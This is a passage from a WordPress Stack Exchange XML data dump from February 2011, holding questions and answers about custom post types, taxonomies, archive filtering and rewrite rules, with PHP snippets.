),&#xA;                    'add_new_item' =&amp;gt; 'Add New Page Content',&#xA;                    'edit_item' =&amp;gt; 'Edit Page Content',&#xA;                    'new_item' =&amp;gt; 'New Page Content',&#xA;                    'search_items' =&amp;gt; 'Search Page Content',&#xA;                    'not_found' =&amp;gt; 'No Page Content found',&#xA;                    'not_found_in_trash' =&amp;gt; 'No Page Content found in trash',&#xA;                ),&#xA;                'public' =&amp;gt; true,&#xA;                'hierarchical' =&amp;gt; false,&#xA;                'taxonomies' =&amp;gt; array( 'page_sections'),&#xA;                'supports' =&amp;gt; array('title','editor','thumbnail','custom-fields'),&#xA;                'rewrite' =&amp;gt; array('slug'=&amp;gt;'page_content','with_front'=&amp;gt;false),&#xA;            ));&#xA;            register_taxonomy('locations','page_content',array(&#xA;                'hierarchical' =&amp;gt; true,&#xA;                'labels' =&amp;gt; array(&#xA;                    'name' =&amp;gt; __( 'Locations' ),&#xA;                    'singular_name' =&amp;gt; __( 'Page Section' ),&#xA;                    'add_new_item' =&amp;gt; 'Add New Page Section',&#xA;                    'edit_item' =&amp;gt; 'Edit Page Section',&#xA;                    'new_item' =&amp;gt; 'New Page Section',&#xA;                    'search_items' =&amp;gt; 'Search Page Section',&#xA;                    'not_found' =&amp;gt; 'No Page Sections found',&#xA;                    'not_found_in_trash' =&amp;gt; 'No Page Sections found in trash',&#xA;                    'all_items' =&amp;gt; __( 'All Page Sections' ),&#xA;                ),&#xA;                'query_var' =&amp;gt; true,&#xA;                'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'locations' ),&#xA;            ));&#xA;            register_taxonomy('page_sections','page_content',array(&#xA;                'hierarchical' =&amp;gt; true,&#xA;                'labels' =&amp;gt; array(&#xA;                    'name' =&amp;gt; __( 'Page Sections' ),&#xA;                    'singular_name' =&amp;gt; __( 'Page Section' ),&#xA;                    'add_new_item' =&amp;gt; 'Add New Page Section',&#xA;                    'edit_item' =&amp;gt; 'Edit Page Section',&#xA;                    'new_item' =&amp;gt; 'New Page Section',&#xA;                    'search_items' =&amp;gt; 'Search Page Section',&#xA;                    'not_found' =&amp;gt; 'No Page Sections found',&#xA;                    'not_found_in_trash' =&amp;gt; 'No Page Sections found in trash',&#xA;                    'all_items' =&amp;gt; __( 'All Page Sections' ),&#xA;                ),&#xA;                'query_var' =&amp;gt; true,&#xA;                'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'page_sections' ),&#xA;            ));&#xA;            // Add initial terms&#xA;            if (!get_option('yoursite-page-content-initialized')) {&#xA;                $terms = array(&#xA;                    'Footer',&#xA;                    'Header',&#xA;                    'Front Page Intro',&#xA;                    'Front Page Content',&#xA;                );&#xA;                foreach($terms as $term) {&#xA;                    if (!get_term_by('name',$term,'page_sections')) {&#xA;                        wp_insert_term($term, 'page_sections');&#xA;                    }&#xA;                }&#xA;                update_option('yoursite-page-content-initialized',true);&#xA;            }&#xA;        }&#xA;        //Arrange the position of elements in the table&#xA;        function manage_page_content_posts_columns($columns) {&#xA;            $columns = array(&#xA;                'cb' =&amp;gt; '&amp;lt;input type=&quot;checkbox&quot; /&amp;gt;',&#xA;                'title' =&amp;gt; 'Name',&#xA;                'locations_column' =&amp;gt; 'Locations',&#xA;                'page_sections_column' =&amp;gt; 'Page Sections',&#xA;                'author' =&amp;gt; 'Author',&#xA;                'date' =&amp;gt; 'Date',&#xA;            );&#xA;            return $columns;&#xA;        }&#xA;        function manage_posts_custom_column( $column,$post_id ) {&#xA;            global $typenow;&#xA;            if ($typenow=='page_content') {&#xA;                $locations_taxonomy = 'locations';&#xA;                $page_sections_taxonomy = 'page_sections';&#xA;                switch ($column) {&#xA;                case 'locations_column':&#xA;                    $locations_column = get_the_terms($post_id,$locations_taxonomy);&#xA;                    if (is_array($locations_column)) {&#xA;                        foreach($locations_column as $key =&amp;gt; $locations) {&#xA;                            $edit_link = get_term_link($locations,$locations_taxonomy);&#xA;                            $locations_column[$key] = '&amp;lt;a href=&quot;'.$edit_link.'&quot;&amp;gt;' . $locations-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;                        }&#xA;                        echo implode(' | ',$locations_column);&#xA;                    }&#xA;                    break;&#xA;                case 'page_sections_column':&#xA;                    $page_sections_column = get_the_terms($post_id,$page_sections_taxonomy);&#xA;                    if (is_array($page_sections_column)) {&#xA;                        foreach($page_sections_column as $key =&amp;gt; $page_sections) {&#xA;                            $edit_link = get_term_link($page_sections,$page_sections_taxonomy);&#xA;                            $page_sections_column[$key] = '&amp;lt;a href=&quot;'.$edit_link.'&quot;&amp;gt;' . $page_sections-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;                        }&#xA;                        echo implode(' | ',$page_sections_column);&#xA;                    }&#xA;                    break;&#xA;                }&#xA;            }&#xA;        }&#xA;        function parse_query($query) {&#xA;            global $pagenow;&#xA;            $qv = &amp;amp;$query-&amp;gt;query_vars;&#xA;            if ($pagenow=='edit.php' &amp;amp;&amp;amp;&#xA;                isset($qv['taxonomy']) &amp;amp;&amp;amp; $qv['taxonomy']=='page_sections' &amp;amp;&amp;amp;&#xA;                isset($qv['term']) &amp;amp;&amp;amp; is_numeric($qv['term'])) {&#xA;                    $term = get_term_by('id',$qv['term'],'page_sections');&#xA;                    $qv['term'] = $term-&amp;gt;slug;&#xA;                }&#xA;        }&#xA;        function restrict_manage_posts() {&#xA;            global $typenow;&#xA;            global $wp_query;&#xA;            if ($typenow=='page_content') {&#xA;                $taxonomy = 'page_sections';&#xA;                $page_sections = get_taxonomy($taxonomy);&#xA;                wp_dropdown_categories(array(&#xA;                    'show_option_all' =&amp;gt;  __(&quot;Show All {$page_sections-&amp;gt;label}&quot;),&#xA;                    'taxonomy'        =&amp;gt;  $taxonomy,&#xA;                    'name'            =&amp;gt;  $taxonomy,&#xA;                    'orderby'         =&amp;gt;  'name',&#xA;                    'selected'        =&amp;gt;  $wp_query-&amp;gt;query['term'],&#xA;                    'hierarchical'    =&amp;gt;  true,&#xA;                    'depth'           =&amp;gt;  3,&#xA;                    'show_count'      =&amp;gt;  true,  // This will give a view&#xA;                    'hide_empty'      =&amp;gt;  true,   // This will give false positives, i.e. one's not empty related to the other terms. TODO: Fix that&#xA;                ));&#xA;            }&#xA;        }&#xA;    }&#xA;    YourSite_PageContent::on_load();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-07T14:35:09.470" Title="Why this drop-down filter doesn't retrieve custom taxonomies in Wordpress 3.1 RC3?" Tags="&lt;custom-taxonomy&gt;&lt;filters&gt;" />
  <row Id="8753" PostTypeId="2" ParentId="8748" CreationDate="2011-02-07T14:38:06.780" Score="3" ViewCount="" Body="&lt;p&gt;There is &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/includes/taxonomy.php#L13&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;category_exists()&lt;/code&gt;&lt;/a&gt; function, but it seems to be for internal use in admin so you can try &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/term_exists&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;term_exists()&lt;/code&gt;&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T14:38:06.780" CommentCount="3" />
  <row Id="8754" PostTypeId="1" CreationDate="2011-02-07T14:39:41.490" Score="2" ViewCount="1115" Body="&lt;p&gt;I have two categories on a site - news which contains news posts and blog - which contains blog posts. Each page has a wp_get_archives in the sidebar. I'd like to limit the archive listing by category but after looking at the codex this does not seem possible.  &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_archives&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_get_archives&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_get_archives('type=monthly&amp;amp;limit=12'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That code lists the archives for all the posts, but I want to list archives for just that category. Am I using the wrong function? Or is this not possible?&lt;/p&gt;&#xA;" OwnerUserId="2862" LastActivityDate="2011-04-14T10:00:10.113" Title="Limit WP_get_archives by category?" Tags="&lt;wp-get-archives&gt;" AnswerCount="5" FavoriteCount="1" />
  <row Id="8755" PostTypeId="2" ParentId="8748" CreationDate="2011-02-07T14:40:52.673" Score="0" ViewCount="" Body="&lt;p&gt;take a look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_term_by&quot; rel=&quot;nofollow&quot;&gt;get_term_by&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can define by what you want to look for the term using slug,ID or name&#xA;so you can call it like this in your case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function check_category_exists($catid){&#xA;       $cat_to_check = get_term_by( 'id', $catid, 'category')&#xA;       if ($cat_to_check){&#xA;&#xA;       return true;&#xA;       }&#xA;       else{return false;}&#xA;    }&#xA;&#xA;//then call it like this:&#xA;if (check_category_exists(1)){  //category exsits. }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-07T14:40:52.673" />
  <row Id="8756" PostTypeId="2" ParentId="8640" CreationDate="2011-02-07T14:44:29.537" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt; cares about making a performant array and store your options in only one DB-field. You can add to this field from different pages as long as you define to use the same field (&quot;settings section&quot; afaik) on other pages. Maybe you should use different sections for different parts (i.e. styles), so you could store it in a global avaible $var like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_plugin_styles = get_option('option_name');&#xA;&#xA;&amp;lt;span style=&quot;&amp;lt;?php echo $my_plugin_styles-&amp;gt;background; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or (even better):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;&amp;lt;?php echo $my_plugin_styles-&amp;gt;background_class; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-07T14:44:29.537" CommentCount="2" />
  <row Id="8757" PostTypeId="2" ParentId="8754" CreationDate="2011-02-07T14:46:02.920" Score="0" ViewCount="" Body="&lt;p&gt;I use this code on my site to pull from a specific category (this is in the sidebar - shows just my 'blog' posts and not my 'portfolio' posts):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;global $post;&#xA;$myposts = get_posts('numberposts=10&amp;amp;category=3&amp;amp;order=DESC');&#xA;foreach($myposts as $post) :&#xA;?&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-02-07T14:46:02.920" CommentCount="2" />
  <row Id="8758" PostTypeId="2" ParentId="8754" CreationDate="2011-02-07T14:47:03.310" Score="1" ViewCount="" Body="&lt;p&gt;Basically this is possible, but somewhat messy. This function relies on direct SQL query to database, which you can change via &lt;code&gt;getarchives_where&lt;/code&gt; and &lt;code&gt;getarchives_join&lt;/code&gt; filters.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T14:47:03.310" />
  <row Id="8760" PostTypeId="1" AcceptedAnswerId="8763" CreationDate="2011-02-07T15:03:54.807" Score="0" ViewCount="413" Body="&lt;p&gt;I just created a custom post type &quot;publication&quot; with the slug &quot;publications&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now im stuck trying to view all the publications index in a URL like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.myExampleSite.com/publications&quot; rel=&quot;nofollow&quot;&gt;http://www.myExampleSite.com/publications&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to create some custom layouts for it, and how it will be using an index clone of twentyten theme, maybe using get_template_part?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-07T15:14:00.530" LastActivityDate="2011-02-07T15:22:05.977" Title="Custom post type index (maybe using get_template_part)" Tags="&lt;custom-post-types&gt;&lt;get-template-part&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8761" PostTypeId="1" CreationDate="2011-02-07T15:09:55.577" Score="0" ViewCount="132" Body="&lt;p&gt;I don't know what am I missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to the plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A query to retrieve a custom post with two custom taxonomies:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;home.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Create and run custom loop&#xA;    $custom_posts = new WP_Query();&#xA;    $custom_posts-&amp;gt;query('post_type=page_content&amp;amp;locations=Front Page2&amp;amp;page_sections=Profile3');&#xA;    while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;    &amp;lt;div class=&quot;block-1&quot;&amp;gt;&#xA;        &amp;lt;?php the_post_thumbnail('large'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php // Start the main loop&#xA;    if ( have_posts() ) while ( have_posts() ) : the_post();&#xA;?&amp;gt;&#xA;    &amp;lt;div class=&quot;block-2 padding-top&quot;&amp;gt;&#xA;        &amp;lt;?php the_content(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The taxonomies are properly assigned to the post type:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Posts:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/YchBu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin is activated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plugins:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/c1a6X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even tried the same code in Wordpress 3.1 RC3 and the custom post is effectively retrieved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am missing?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-07T15:09:55.577" Title="The Query Multiple Taxonomies Plugin is not working in Wordpress 3.0.4?" Tags="&lt;custom-taxonomy&gt;" />
  <row Id="8762" PostTypeId="2" ParentId="8749" CreationDate="2011-02-07T15:10:21.097" Score="2" ViewCount="" Body="&lt;p&gt;WordPress 3.1 Internal Linking feature was coded as a TinyMCE editor plugin so its not really a widget or a meta box but you can code your own meta box and reuse the functiona needed for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files you need to look at are &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/wp-includes/js/tinymce/wp-mce-link.php&lt;/li&gt;&#xA;&lt;li&gt;/wp-includes/js/tinymce/plugins/wplink/js/wplink.js&#xA;and maybe a few more but these are the main files you will need to achieve this functionality. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Side note:  I can tell you that up until now when ever i needed to let my user add a url to a post or a page as a custom field i always created a dropdown select  with the names of my posts and there id as value, then when i needed to show that  link i'd call &lt;code&gt;get_the_permalink(selected_ID);&lt;/code&gt;.&#xA;Now i know that this won't work in all cases but its an option and i wanted to post it here for future reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ohad. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-07T15:10:21.097" CommentCount="6" />
  <row Id="8763" PostTypeId="2" ParentId="8760" CreationDate="2011-02-07T15:22:05.977" Score="1" ViewCount="" Body="&lt;p&gt;In WordPress 3.1 virtual directory is created for you custom post type and so you don't really need to do anything but if you are on a earlier version then you will need to make a few step:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which you have done most but you will need to change loop-publication.php and add your custom post type to the query args or replace the loop with your custom loop that includes the custom post type in the args something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'publication', 'posts_per_page' =&amp;gt; 10 ) ); ?&amp;gt;&#xA;&#xA;&amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php the_title( '&amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;' . get_permalink() . '&quot; title=&quot;' . the_title_attribute( 'echo=0' ) . '&quot; rel=&quot;bookmark&quot;&amp;gt;', '&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;' ); ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;        &amp;lt;?php the_content(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now since you want to view the list on &lt;a href=&quot;http://www.myExampleSite.com/publications&quot; rel=&quot;nofollow&quot;&gt;http://www.myExampleSite.com/publications&lt;/a&gt;&#xA;add this code to the very top of your publications.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: publications&#xA;*/&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then create a page and change its slug to 'publications'&#xA;and select publications as page template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you are set to go.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-07T15:22:05.977" CommentCount="5" />
  <row Id="8764" PostTypeId="1" CreationDate="2011-02-07T15:41:58.830" Score="1" ViewCount="348" Body="&lt;p&gt;I have a page that I access at /category/tasks and the file is located at wp-content/themes/my-theme/tasks.php. I would like to make it so I can add a flag after tasks and pick up the query strong in tasks.php. This works fine when I access the page with /category/tasks/?when=upcoming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how to use rewrite_rules_array so it will send the variable through the query string using the URL structure /category/tasks/upcoming?&lt;/p&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2011-02-07T19:29:08.803" Title="Need help with rewrite_rules_array" Tags="&lt;url-rewriting&gt;&lt;rewrite-rules&gt;" AnswerCount="3" />
  <row Id="8765" PostTypeId="2" ParentId="8734" CreationDate="2011-02-07T16:03:49.963" Score="1" ViewCount="" Body="&lt;p&gt;You're missing a closing brace on the final if condition. ;)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-07T16:03:49.963" />
  <row Id="8766" PostTypeId="2" ParentId="8764" CreationDate="2011-02-07T16:11:35.600" Score="1" ViewCount="" Body="&lt;p&gt;try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function when_rewrite_rules( $wp_rewrite ) {&#xA;  $newrules = array();&#xA;  $new_rules['category/tasks/(\d*)$'] = 'index.php?when=$matches[1]';&#xA;  $wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;add_filter('generate_rewrite_rules','when_rewrite_rules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-07T17:14:42.097" LastActivityDate="2011-02-07T17:14:42.097" CommentCount="5" />
  <row Id="8768" PostTypeId="1" CreationDate="2011-02-07T16:55:59.647" Score="0" ViewCount="119" Body="&lt;p&gt;I've got a custom menu that's being used to display the primary navigation. Top level pages have a number of sub pages as well as a few listing pages that make up the sub pages/navigation for these top level pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sub navigation shows on rollover and everything is working fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to do is when viewing a top level page, display all sub pages aswell as the listing pages that are part of the primary navigation in the sidebar. Is there anyway of doing this using the custom menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand I can print out the sub pages using wp_list_pages and sending it a parent argument, but this doesn't show the list pages that make up part of the navigation as these are just category listing pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to send the custom menu the parent id and pull out all sub pages of the parent from the custom menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas or solutions to this?&#xA;Thanks&lt;/p&gt;&#xA;" LastActivityDate="2011-02-07T16:55:59.647" Title="Sub navigation consisting of category listing pages and pages" Tags="&lt;custom-menus&gt;" />
  <row Id="8769" PostTypeId="1" CreationDate="2011-02-07T17:03:36.323" Score="3" ViewCount="160" Body="&lt;p&gt;If my category URL is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/blogs/category/foo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and my archive URL is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/blogs/2011/02/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what's the URL for 'foo' blogs from February 2011?&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2011-02-09T15:43:27.593" Title="What's the URL for a category archive?" Tags="&lt;categories&gt;&lt;archive&gt;&lt;urls&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="0" />
  <row Id="8770" PostTypeId="2" ParentId="8769" CreationDate="2011-02-07T17:06:50.143" Score="2" ViewCount="" Body="&lt;p&gt;There is no date-based archive for a category. The &lt;code&gt;/category/[slug]/&lt;/code&gt; pages are already &quot;archives&quot;, in that they display old posts over different pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The different pages can be accessed by adding &lt;code&gt;page/2/&lt;/code&gt;, &lt;code&gt;page/3/&lt;/code&gt;, ... to the URL. The template tags to add these links are &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/next_posts_link&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;next_posts_link()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/previous_posts_link&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;previous_posts_link()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to add a date-based layer to your category archives, you can add a rewrite rule to match a year, optional month and optional paging.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'category_rewrite_rules', 'wpse8769_category_rewrite_rules' );&#xA;function wpse8769_category_rewrite_rules( $category_rules )&#xA;{&#xA;    global $wp_rewrite;&#xA;    // This could be incorrect for fancy permastructs, only tested in simple situations&#xA;    $category_permastruct = str_replace( $wp_rewrite-&amp;gt;rewritecode, $wp_rewrite-&amp;gt;rewritereplace, $wp_rewrite-&amp;gt;get_category_permastruct() );&#xA;    $category_permastruct = preg_replace( '|^/+|', '', $category_permastruct );&#xA;&#xA;    $category_extra_rules = array(&#xA;        // Or split this up over different rewrite rules, if the regex is too complicated&#xA;        // Feeds are left as an exercise for the reader&#xA;        $category_permastruct . '/([0-9]{4})(/([0-9]{1,2}))?(/page/([0-9]+))?/?$' =&amp;gt;&#xA;            'index.php?category_name=$matches[1]&amp;amp;year=$matches[2]&amp;amp;monthnum=$matches[4]&amp;amp;paged=$matches[6]',&#xA;    );&#xA;&#xA;    return $category_extra_rules + $category_rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-09T14:59:48.523" LastActivityDate="2011-02-09T14:59:48.523" CommentCount="1" />
  <row Id="8771" PostTypeId="2" ParentId="8754" CreationDate="2011-02-07T17:07:02.190" Score="0" ViewCount="" Body="&lt;p&gt;i am not sure if this workaround will do :&#xA;if instead of the archive you use RSS and specify for the RSS the number of post titles to be shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is easy to get the RSS of the category - easy to specify nbre of posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no ? would it work ? &lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-02-07T17:07:02.190" />
  <row Id="8772" PostTypeId="2" ParentId="8764" CreationDate="2011-02-07T17:21:51.477" Score="0" ViewCount="" Body="&lt;p&gt;It's not very hard. You add a new rewrite rule that accepts your URL format and sets the correct query vars (you can choose any name you want, as long as it is unique). There are many ways to add rewrite rules, I prefer &lt;code&gt;add_rewrite_rule()&lt;/code&gt;. Be sure to flush the rules once after you do this (from your code, or by visiting the &lt;em&gt;Permalinks&lt;/em&gt; page).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse8764_init' );&#xA;function wpse8764_init()&#xA;{&#xA;    add_rewrite_rule( 'category/tasks/upcoming/?$', 'index.php?pagename=category/tasks&amp;amp;wpse8764_var=upcoming', 'top' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This query variable will not be passed on to &lt;code&gt;$wp_query&lt;/code&gt; unless you add it to the &lt;em&gt;public query vars&lt;/em&gt;. After this, you can access it with &lt;code&gt;get_query_var( 'wpse8764_var' )&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'query_vars', 'wpse8764_query_vars' );&#xA;function wpse8764_query_vars( $query_vars )&#xA;{&#xA;    $query_vars[] = 'wpse8764_var';&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-07T17:21:51.477" />
  <row Id="8773" PostTypeId="2" ParentId="5706" CreationDate="2011-02-07T17:23:01.380" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at the Capabilities plugin - &lt;a href=&quot;http://wordpress.org/extend/plugins/capsman/&quot; rel=&quot;nofollow&quot;&gt;Capability Manager (Wordpress Plugin)&lt;/a&gt; . You can give finer grained access to existing or new roles than you can with the default roles. &lt;/p&gt;&#xA;" OwnerUserId="3004" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-17T12:59:42.660" LastActivityDate="2011-03-17T12:59:42.660" CommentCount="5" />
  <row Id="8774" PostTypeId="5" CreationDate="2011-02-07T17:30:54.943" Score="0" ViewCount="" Body="&lt;p&gt;List Category Posts is a simple plugin which allows you to list posts from a category into a post/page using the [catlist] shortcode. This shortcode accepts a category name or id, the order in which you want the posts to display, and the number of posts to display. You can use [catlist] as many times as needed with different arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great to use WordPress as a CMS, and create pages with several categories posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It includes a widget, which works pretty much the same as the plugin. Just add as many widgets as you want, and select all the available options from the Appearence &gt; Widgets page.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/list-category-posts/&quot; rel=&quot;nofollow&quot;&gt;Plugin page on WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="298" LastEditorDisplayName="" LastEditDate="2011-02-07T17:35:59.307" LastActivityDate="2011-02-07T17:35:59.307" />
  <row Id="8775" PostTypeId="4" CreationDate="2011-02-07T17:30:54.943" Score="0" ViewCount="" Body="List Category Posts is a simple plugin which allows you to list posts from a category into a post/page using the [catlist] shortcode." OwnerUserId="-1" LastEditorUserId="298" LastEditorDisplayName="" LastEditDate="2011-02-07T17:35:58.467" LastActivityDate="2011-02-07T17:35:58.467" />
